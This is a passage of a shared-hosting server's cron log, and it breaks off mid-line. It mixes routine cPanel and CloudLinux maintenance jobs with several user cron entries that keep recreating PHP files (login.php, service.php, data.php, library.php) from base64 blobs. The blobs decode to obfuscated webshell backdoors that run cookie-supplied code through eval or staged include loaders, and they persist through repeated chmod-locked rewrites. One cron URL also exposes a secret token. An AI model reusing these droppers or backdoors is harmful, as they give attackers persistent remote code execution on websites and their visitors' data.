Mar  2 14:39:02 medusa CROND[23546]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:39:02 medusa CROND[23547]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:39:02 medusa CROND[23541]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:40:01 medusa CROND[15112]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 14:40:01 medusa CROND[15113]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 14:40:02 medusa CROND[15461]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 14:40:02 medusa CROND[15462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 14:40:02 medusa CROND[15465]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 14:40:02 medusa CROND[15467]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:40:02 medusa CROND[15469]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 14:40:02 medusa CROND[15466]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 14:40:02 medusa CROND[15475]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:40:02 medusa CROND[15478]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:40:02 medusa CROND[15480]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 14:40:02 medusa CROND[15482]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:40:02 medusa CROND[15483]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 14:40:02 medusa CROND[15487]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:40:02 medusa CROND[15485]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 14:40:02 medusa CROND[15492]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:40:02 medusa CROND[15493]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:40:02 medusa CROND[15494]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:40:02 medusa CROND[15498]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 14:40:02 medusa CROND[15501]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 14:40:02 medusa CROND[15504]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:40:02 medusa CROND[15506]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:40:02 medusa CROND[15503]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 14:40:02 medusa CROND[15509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:40:02 medusa CROND[15500]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 14:40:02 medusa CROND[15516]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 14:40:02 medusa CROND[15517]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 14:40:02 medusa CROND[15515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:41:01 medusa CROND[1049]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:41:01 medusa CROND[1054]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:41:01 medusa CROND[1063]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:41:01 medusa CROND[1065]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 14:41:01 medusa CROND[1059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:41:01 medusa CROND[1067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:41:01 medusa CROND[1070]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:41:01 medusa CROND[1073]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:41:01 medusa CROND[1075]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:41:01 medusa CROND[1076]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:41:01 medusa CROND[1087]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 